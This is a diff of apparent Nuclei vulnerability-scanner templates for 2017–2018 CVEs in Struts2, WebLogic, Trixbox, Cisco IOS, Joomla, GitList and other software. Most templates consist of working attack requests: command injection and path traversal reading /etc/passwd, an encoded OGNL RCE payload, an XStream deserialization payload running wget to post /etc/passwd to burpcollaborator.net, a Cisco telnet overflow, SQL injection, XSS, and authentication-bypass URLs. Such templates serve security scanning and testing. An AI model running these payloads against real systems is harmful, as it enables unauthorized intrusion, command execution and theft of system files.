+          - "Document update conflict"
+        part: body
+
+      - type: status
+        status:
+          - 201
+          - 409
@@ -5,11 +5,11 @@ info:
  author: apt-mirror
  severity: high
  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
-
-  # References:
-  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
-  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
-  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+  tags: cve,cve2017,sap,lfi
+  reference: |
+      - https://www.cvedetails.com/cve/CVE-2017-12637/
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+      - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf

 requests:
  - method: GET
@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -4,10 +4,12 @@ info:
  name: trixbox 2.8.0 - directory-traversal
  author: pikpikcu
  severity: medium
-
-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
-# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
-# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+  tags: cve,cve2017,trixbox,lfi
+  description: trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+      - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+      - Product vendor:-https://sourceforge.net/projects/asteriskathome/

 requests:
  - raw:
@@ -2,9 +2,10 @@ id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+  tags: cve,cve2017,nodejs,lfi

 requests:
  - method: GET
@@ -0,0 +1,45 @@
+id: CVE-2017-15715
+
+info:
+  name: Apache Arbitrary File Upload
+  author: geeknik
+  description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.
+  reference: https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
+  severity: high
+  tags: cve,cve2017,apache,httpd,fileupload
+
+requests:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 264
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Accept-Encoding: gzip, deflate
+        Connection: close
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
+
+        {{randstr_1}}
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="name"
+
+        {{randstr}}.php\x0A
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
+
+      - |
+        GET /{{randstr}}.php\x0A HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip,deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "{{randstr_1}}")'
@@ -0,0 +1,27 @@
+id: CVE-2017-16877
+
+info:
+  name: Nextjs v2.4.1 LFI
+  author: pikpikcu
+  severity: high
+  description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
+  reference: https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
+  tags: cve,cve2017,nextjs,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,100 @@
+id: CVE-2017-17562
+
+info:
+  name: Embedthis GoAhead RCE
+  description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.
+  author: geeknik
+  reference: |
+    - https://www.elttam.com/blog/goahead/
+    - https://github.com/ivanitlearning/CVE-2017-17562
+    - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
+  severity: high
+  tags: cve,cve2017,rce,embedthis,goahead,fuzz
+
+requests:
+  - payloads:
+      endpoint:
+        - admin
+        - apply
+        - non-CA-rev
+        - cgitest
+        - checkCookie
+        - check_user
+        - chn/liveView
+        - cht/liveView
+        - cnswebserver
+        - config
+        - configure/set_link_neg
+        - configure/swports_adjust
+        - eng/liveView
+        - firmware
+        - getCheckCode
+        - get_status
+        - getmac
+        - getparam
+        - guest/Login
+        - home
+        - htmlmgr
+        - index
+        - index/login
+        - jscript
+        - kvm
+        - liveView
+        - login
+        - login.asp
+        - login/login
+        - login/login-page
+        - login_mgr
+        - luci
+        - main
+        - main-cgi
+        - manage/login
+        - menu
+        - mlogin
+        - netbinary
+        - nobody/Captcha
+        - nobody/VerifyCode
+        - normal_userLogin
+        - otgw
+        - page
+        - rulectl
+        - service
+        - set_new_config
+        - sl_webviewer
+        - ssi
+        - status
+        - sysconf
+        - systemutil
+        - t/out
+        - top
+        - unauth
+        - upload
+        - variable
+        - wanstatu
+        - webcm
+        - webmain
+        - webproc
+        - webscr
+        - webviewLogin
+        - webviewLogin_m64
+        - webviewer
+        - welcome
+    raw:
+      - |
+        GET /cgi-bin/§endpoint§?LD_DEBUG=help HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
+        Accept: */*
+        Connection: close
+
+    attack: sniper
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "environment variable"
+          - "display library search paths"
+        condition: and
@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body
@@ -0,0 +1,26 @@
+id: CVE-2017-3881
+
+info:
+  name: Cisco IOS 12.2(55)SE11 Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  reference: |
+    - https://github.com/artkond/cisco-rce
+    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
+    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
+  description: RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent.
+  tags: cve,cve2017,cisco,rce,network
+
+network:
+  - inputs:
+      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
+        read: 1024
+      - data: "show priv"
+        read: 1024
+    host:
+      - "{{Hostname}}:23"
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Current privilege level is"
@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and
@@ -0,0 +1,27 @@
+id: CVE-2017-5521
+info:
+  name: Bypassing Authentication on NETGEAR Routers
+  author: princechaddha
+  severity: medium
+  description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.
+  reference: |
+    - https://www.cvedetails.com/cve/CVE-2017-5521/
+    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "right\">Router\\s*Admin\\s*Username<"
+          - "right\">Router\\s*Admin\\s*Password<"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,14 +1,11 @@
 id: CVE-2017-5638
 info:
-  author: "Random Robbie"
-  name: "Struts2 RCE "
+  author: Random_Robbie
+  name: Apache Struts2 RCE
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
-
-# This template supports the detection part only.
-# Do not test any website without permission
-# Exploit:- https://github.com/mazen160/struts-pwn
-
+  tags: cve,cve2017,struts,rce,apache
+  reference: https://github.com/mazen160/struts-pwn

 requests:
  - raw:
@@ -0,0 +1,36 @@
+id: CVE-2017-7269
+
+info:
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity,geeknik
+  severity: critical
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce
+
+requests:
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "IIS/6.0"
+        part: header
+
+      - type: dsl
+        dsl:
+          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
+          - regex("[\d]+(,\s+[\d]+)?", dav)    # lowercase header name: DAV
+          - regex(".*?PROPFIND", public)    # lowercase header name: Public
+          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
+        condition: or
+        part: header
@@ -5,8 +5,8 @@ info:
  author: pikpikcu
  severity: medium
  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
-
-  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  tags: cve,cve2017,magmi,xss
+  reference: https://github.com/dweeves/magmi-git/issues/522
  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip

 requests:
@@ -2,20 +2,20 @@ id: CVE-2017-7615

 info:
  name: CVE-2017-7615
-  author: bp0lr & dwisiswant0
+  author: bp0lr,dwisiswant0
  severity: high
  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
-
+  tags: cve,cve2017,mantisbt

  # THIS TEMPLATE IS ONLY FOR DETECTING
  # To carry out further attacks, please see reference[2] below.
  # This template works by guessing user ID.
  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].

-  # References:
-  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
-  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
-  # - [3] https://www.exploit-db.com/exploits/41890
+  reference: |
+    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+    - https://www.exploit-db.com/exploits/41890

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CVE-2017-7921
+info:
+  name: Hikvision Authentication Bypass
+  author: princechaddha
+  severity: high
+  description: An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
+  reference: |
+    - http://www.hikvision.com/us/about_10805.html
+    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<firmwareVersion>"
+        part: body
+
+      - type: word
+        words:
+          - "application/xml"
+        part: header
@@ -0,0 +1,19 @@
+id: CVE-2017-8917
+info:
+  name: Joomla SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.
+  reference: https://www.cvedetails.com/cve/CVE-2017-8917/
+  tags: cve,cve2017,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body
@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and
@@ -2,16 +2,28 @@ id: CVE-2017-9506

 info:
  name: Jira IconURIServlet SSRF
-  author: pd-team
+  author: pdteam
  severity: high
  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
+  reference: |
+    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
+    - https://ecosystem.atlassian.net/browse/OAUTH-344
+    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
+  tags: cve,cve2017,atlassian,jira,ssrf,oob

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
    matchers:
      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "ipinfo.io/missingauth"
-        part: body
+          - "dns"
@@ -0,0 +1,36 @@
+id: CVE-2017-9791
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  description: The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - http://struts.apache.org/docs/s2-048.html
+  tags: cve,cve2017,apache,rce
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/integration/saveGangster.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Content-Type: text/html"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,90 @@
+id: CVE-2017-9805
+
+info:
+  name: Apache Struts2 S2-052 RCE
+  author: pikpikcu
+  severity: critical
+  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - https://struts.apache.org/docs/s2-052.html
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
+      - "{{BaseURL}}/orders/3"
+    headers:
+      Content-Type: application/xml
+    body: |
+        <map>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString>
+              <flags>0</flags>
+              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
+                <dataHandler>
+                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
+                    <is class="javax.crypto.CipherInputStream">
+                      <cipher class="javax.crypto.NullCipher">
+                        <initialized>false</initialized>
+                        <opmode>0</opmode>
+                        <serviceIterator class="javax.imageio.spi.FilterIterator">
+                          <iter class="javax.imageio.spi.FilterIterator">
+                            <iter class="java.util.Collections$EmptyIterator"/>
+                            <next class="java.lang.ProcessBuilder">
+                              <command>
+                                <string>wget</string>
+                                <string>--post-file</string>
+                                <string>/etc/passwd</string>
+                      <string>burpcollaborator.net</string>
+                              </command>
+                              <redirectErrorStream>false</redirectErrorStream>
+                            </next>
+                          </iter>
+                          <filter class="javax.imageio.ImageIO$ContainsFilter">
+                            <method>
+                              <class>java.lang.ProcessBuilder</class>
+                              <name>start</name>
+                              <parameter-types/>
+                            </method>
+                            <name>asdasd</name>
+                          </filter>
+                          <next class="string">asdasd</next>
+                        </serviceIterator>
+                        <lock/>
+                      </cipher>
+                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
+                      <ibuffer></ibuffer>
+                      <done>false</done>
+                      <ostart>0</ostart>
+                      <ofinish>0</ofinish>
+                      <closed>false</closed>
+                    </is>
+                    <consumed>false</consumed>
+                  </dataSource>
+                  <transferFlavors/>
+                </dataHandler>
+                <dataLen>0</dataLen>
+              </value>
+            </jdk.nashorn.internal.objects.NativeString>
+            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+        </map>
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Debugging information"
+          - "com.thoughtworks.xstream.converters.collections.MapConverter"
+        condition: and
+
+      - type: status
+        status:
+          - 500
@@ -2,12 +2,13 @@ id: CVE-2017-9841

 info:
  name: CVE-2017-9841
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
-  # Reference to exploit
-  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
-  # https://github.com/RandomRobbieBF/phpunit-brute
+  tags: cve,cve2017,php,phpunit,rce
+  reference: |
+    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+    - https://github.com/RandomRobbieBF/phpunit-brute

 requests:
  - method: GET
@@ -4,20 +4,23 @@ info:
  name: Cisco ASA path traversal vulnerability
  author: organiccrap
  severity: medium
-  # https://github.com/yassineaboukir/CVE-2018-0296
-  # curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
-  # if vulnerable, curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/number
+  tags: cve,cve2018,cisco,lfi
+  reference: https://github.com/yassineaboukir/CVE-2018-0296

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "///sessions"
        part: body
+
      - type: status
        status:
          - 200
@@ -2,16 +2,16 @@ id: CVE-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd @0h1in9e
+  author: mavericknerd,0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
+  tags: cve,cve2018,jolokia,xss

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,39 @@
+id: CVE-2018-1000533
+
+info:
+  name: GitList < 0.6.0 RCE
+  author: pikpikcu
+  severity: critical
+  description: klaussilveira GitList version <= 0.6 contains a Passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in Execute any code as PHP user.
+  reference: https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
+  tags: rce,git,cve,cve2018,gitlist
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /{{path}}/tree/a/search HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 45
+        Content-Type: application/x-www-form-urlencoded
+
+        query=--open-files-in-pager=cat%20/etc/passwd
+
+    extractors:
+      - type: regex
+        name: path
+        group: 1
+        internal: true
+        part: body
+        regex:
+          - '<span class="name">(.*?)</span>'
+
+    matchers:
